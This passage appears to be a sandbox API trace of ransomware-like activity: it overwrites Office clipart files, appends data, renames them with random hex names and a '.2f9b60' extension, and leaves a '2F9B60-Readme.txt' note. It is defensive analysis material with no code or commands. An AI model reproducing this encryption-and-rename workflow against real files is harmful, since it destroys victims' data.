Seed=0x3ac2fa10) returned 0x73fd10e [0121.220] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x46d37efb [0121.220] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x1a0e19 [0121.220] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x1aa64180 [0121.220] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x10b67b48 [0121.220] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x1ce4a3c1 [0121.220] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x5410cec4 [0121.220] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x1e7017a4 [0121.220] RtlRandomEx (in: Seed=0x3ac2fa10 | out: Seed=0x3ac2fa10) returned 0x5fd7b952 [0124.417] ReadFile (in: hFile=0x1104, lpBuffer=0x41c6a520, nNumberOfBytesToRead=0x516, lpNumberOfBytesRead=0x3ac2fa10, lpOverlapped=0x0 | out: lpBuffer=0x41c6a520*, lpNumberOfBytesRead=0x3ac2fa10*=0x516, lpOverlapped=0x0) returned 1 [0124.417] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.417] WriteFile (in: hFile=0x1104, lpBuffer=0x41b2e130*, nNumberOfBytesToWrite=0x516, lpNumberOfBytesWritten=0x3ac2fa14, lpOverlapped=0x0 | out: lpBuffer=0x41b2e130*, lpNumberOfBytesWritten=0x3ac2fa14*=0x516, lpOverlapped=0x0) returned 1 [0124.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c20 [0124.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202620c0 [0124.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202620c0) returned 1 [0124.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b2e130) returned 1 [0124.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c6a520) returned 1 [0124.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504390) returned 1 [0124.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a80) returned 1 [0124.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202620c0 [0124.509] SetFilePointerEx (in: hFile=0x1104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.509] WriteFile (in: hFile=0x1104, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3ac2fb30, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x3ac2fb30*=0x10a, lpOverlapped=0x0) returned 1 [0124.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0124.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504890 [0124.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ade0 [0124.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ade0) returned 1 [0124.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ade0 [0124.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af00 [0124.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82af00) returned 1 [0124.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504890) returned 1 [0124.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0124.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0124.890] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="20") returned 2 [0124.890] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="04") returned 2 [0124.890] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="aa") returned 2 [0124.890] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="3d") returned 2 [0124.890] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="ad") returned 2 [0124.890] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="56") returned 2 [0124.890] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="13") returned 2 [0124.890] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="1b") returned 2 [0124.890] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="1c") returned 2 [0124.890] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="47") returned 2 [0124.890] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="bb") returned 2 [0124.890] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="ec") returned 2 [0124.890] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="1e") returned 2 [0124.890] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="20") returned 2 [0124.890] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="85") returned 2 [0124.890] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="82") returned 2 [0124.890] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="eb") returned 2 [0124.891] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="8b") returned 2 [0124.891] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="f5") returned 2 [0124.891] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="88") returned 2 [0124.891] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="dd") returned 2 [0124.891] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="eb") returned 2 [0124.891] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="e3") returned 2 [0124.891] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="ce") returned 2 [0124.891] RtlInitAnsiString (in: DestinationString=0x3ac2fba8, SourceString="2004aa3dad56131b1c47bbec1e208582eb8bf588ddebe3ce" | out: DestinationString="2004aa3dad56131b1c47bbec1e208582eb8bf588ddebe3ce") [0124.891] RtlAnsiStringToUnicodeString (in: DestinationString=0x3ac2fb78, SourceString="2004aa3dad56131b1c47bbec1e208582eb8bf588ddebe3ce", AllocateDestinationString=1 | out: DestinationString="2004aa3dad56131b1c47bbec1e208582eb8bf588ddebe3ce") returned 0x0 [0124.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863ea0 [0124.891] wcscat (in: _Dest=0x202ad080, _Source="2004aa3dad56" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2004aa3dad56") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2004aa3dad56" [0124.891] wcscat (in: _Dest=0x202ad080, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2004aa3dad56.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2004aa3dad56.2f9b60" [0124.891] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2004aa3dad56.2f9b60", NtPathName=0x3ac2fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2004aa3dad56.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118d60 [0124.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118d60) returned 1 [0124.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46a60) returned 1 [0124.893] NtQueryInformationFile (in: FileHandle=0x1104, IoStatusBlock=0x3ac2fbb8, FileInformation=0x3ac2fbc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3ac2fbb8, FileInformation=0x3ac2fbc8) returned 0x0 [0124.893] NtSetInformationFile (FileHandle=0x1104, IoStatusBlock=0x3ac2fbb8, FileInformation=0x3ac2fbc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad080) returned 1 [0124.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863ea0) returned 1 [0124.955] FlushFileBuffers (hFile=0x1104) returned 1 [0124.957] CloseHandle (hObject=0x1104) returned 1 [0124.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x202ad080 [0124.968] wcscpy (in: _Dest=0x202ad080, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0124.968] wcscat (in: _Dest=0x202ad080, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" [0124.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\2f9b60-readme.txt")) returned 0x20 [0124.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad080) returned 1 [0124.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862e00) returned 1 Thread: id = 1290 os_tid = 0xf60 [0116.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif")) returned 0x20 [0117.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF", dwFileAttributes=0x20) returned 1 [0117.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe2c [0117.622] GetFileSizeEx (in: hFile=0xe2c, lpFileSize=0x3b19fc60 | out: lpFileSize=0x3b19fc60*=19132) returned 1 [0117.622] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x4ab8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.622] ReadFile (in: hFile=0xe2c, lpBuffer=0x3b19fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b19fc28, lpOverlapped=0x0 | out: lpBuffer=0x3b19fbe0*, lpNumberOfBytesRead=0x3b19fc28*=0x4, lpOverlapped=0x0) returned 1 [0117.629] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa000 [0117.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d30 [0117.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0117.630] NtQuerySystemTime (in: CurrentTime=0x3b19fb20 | out: CurrentTime=0x3b19fb20*=132462177230758000) returned 0x0 [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0xf043114 [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x7f332bb4 [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x12c2d6b0 [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x7e754eb0 [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x57508e9c [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x10b17c4e [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x2de407cc [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x581c77b6 [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x74971439 [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x1499e2a0 [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x6731a8ae [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x75c7a8aa [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x7974e864 [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x483631c6 [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x16c32363 [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x6e1e5b14 [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x32b756d [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x6737a9ab [0117.630] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0xe56cab7 [0117.631] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x6f01f137 [0117.631] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x5c74c4d2 [0117.631] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x5496668 [0117.631] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x7cc3550d [0117.631] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x7fca28f2 [0117.631] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x300a1f8 [0117.631] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x423ccb6f [0117.631] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x199fb2d6 [0117.631] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0xa1c0d1c [0117.631] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x3956449c [0117.631] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x53854245 [0117.631] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x3a4404c8 [0117.631] RtlRandomEx (in: Seed=0x3b19fb10 | out: Seed=0x3b19fb10) returned 0x7e754eb0 [0117.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9cd0 [0117.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79daf0 [0117.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9dc0 [0117.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79daf0) returned 1 [0117.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a96a0) returned 1 [0117.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa000) returned 1 [0117.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc4990 [0117.639] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.640] ReadFile (in: hFile=0xe2c, lpBuffer=0x41fc4990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b19fb80, lpOverlapped=0x0 | out: lpBuffer=0x41fc4990*, lpNumberOfBytesRead=0x3b19fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0117.663] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0117.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d90 [0117.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d90) returned 1 [0117.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fbd170 [0117.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d90 [0117.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9d60 [0117.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d60) returned 1 [0117.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0117.664] WriteFile (in: hFile=0xe2c, lpBuffer=0x41fbd170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b19fb80, lpOverlapped=0x0 | out: lpBuffer=0x41fbd170*, lpNumberOfBytesWritten=0x3b19fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0117.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fbd170) returned 1 [0117.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc4990) returned 1 [0117.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9fd0 [0117.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0117.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0117.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9f10 [0117.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9f10) returned 1 [0117.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a9f10 [0117.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9a30 [0117.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9700 [0117.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9700) returned 1 [0117.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0117.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0117.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1675e0 [0117.685] SetFilePointerEx (in: hFile=0xe2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0117.685] WriteFile (in: hFile=0xe2c, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3b19fc30, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x3b19fc30*=0x10a, lpOverlapped=0x0) returned 1 [0117.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0117.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa000 [0117.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa000) returned 1 [0117.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0117.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa000 [0117.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0117.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a96a0) returned 1 [0117.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0117.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0117.692] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="5f") returned 2 [0117.692] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="b3") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="27") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="a0") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="05") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="0e") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="fc") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="b9") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="64") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="40") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="fa") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="7c") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="aa") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="c7") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="f9") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="2c") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="70") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="53") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="a2") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="9c") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="70") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="d2") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="fa") returned 2 [0117.693] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="6f") returned 2 [0117.693] RtlInitAnsiString (in: DestinationString=0x3b19fca8, SourceString="5fb327a0050efcb96440fa7caac7f92c7053a29c70d2fa6f" | out: DestinationString="5fb327a0050efcb96440fa7caac7f92c7053a29c70d2fa6f") [0117.693] RtlAnsiStringToUnicodeString (in: DestinationString=0x3b19fc78, SourceString="5fb327a0050efcb96440fa7caac7f92c7053a29c70d2fa6f", AllocateDestinationString=1 | out: DestinationString="5fb327a0050efcb96440fa7caac7f92c7053a29c70d2fa6f") returned 0x0 [0117.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9400 [0117.694] RtlFreeAnsiString (AnsiString="5") [0117.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 [0117.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0117.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa000) returned 1 [0117.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1675e0) returned 1 [0117.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9f10) returned 1 [0117.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9a30) returned 1 [0117.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9fd0) returned 1 [0117.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d90) returned 1 [0117.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9d30) returned 1 [0117.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9cd0) returned 1 [0117.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9dc0) returned 1 [0117.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862bf0 [0117.695] wcscat (in: _Dest=0x1b862bf0, _Source="5fb327a0050e" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\5fb327a0050e") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\5fb327a0050e" [0117.695] wcscat (in: _Dest=0x1b862bf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\5fb327a0050e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\5fb327a0050e.2f9b60" [0117.695] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\5fb327a0050e.2f9b60", NtPathName=0x3b19fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\5fb327a0050e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0117.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x118af0 [0117.695] NtSetInformationFile (FileHandle=0xe2c, IoStatusBlock=0x3b19fcf0, FileInformation=0x118af0, Length=0xc6, FileInformationClass=0xa) returned 0x0 [0117.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118af0) returned 1 [0117.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46830) returned 1 [0117.745] NtQueryInformationFile (in: FileHandle=0xe2c, IoStatusBlock=0x3b19fcb8, FileInformation=0x3b19fcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3b19fcb8, FileInformation=0x3b19fcc8) returned 0x0 [0117.745] NtSetInformationFile (FileHandle=0xe2c, IoStatusBlock=0x3b19fcb8, FileInformation=0x3b19fcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0117.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862bf0) returned 1 [0117.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9400) returned 1 [0117.747] FlushFileBuffers (hFile=0xe2c) returned 1 [0117.751] CloseHandle (hObject=0xe2c) returned 1 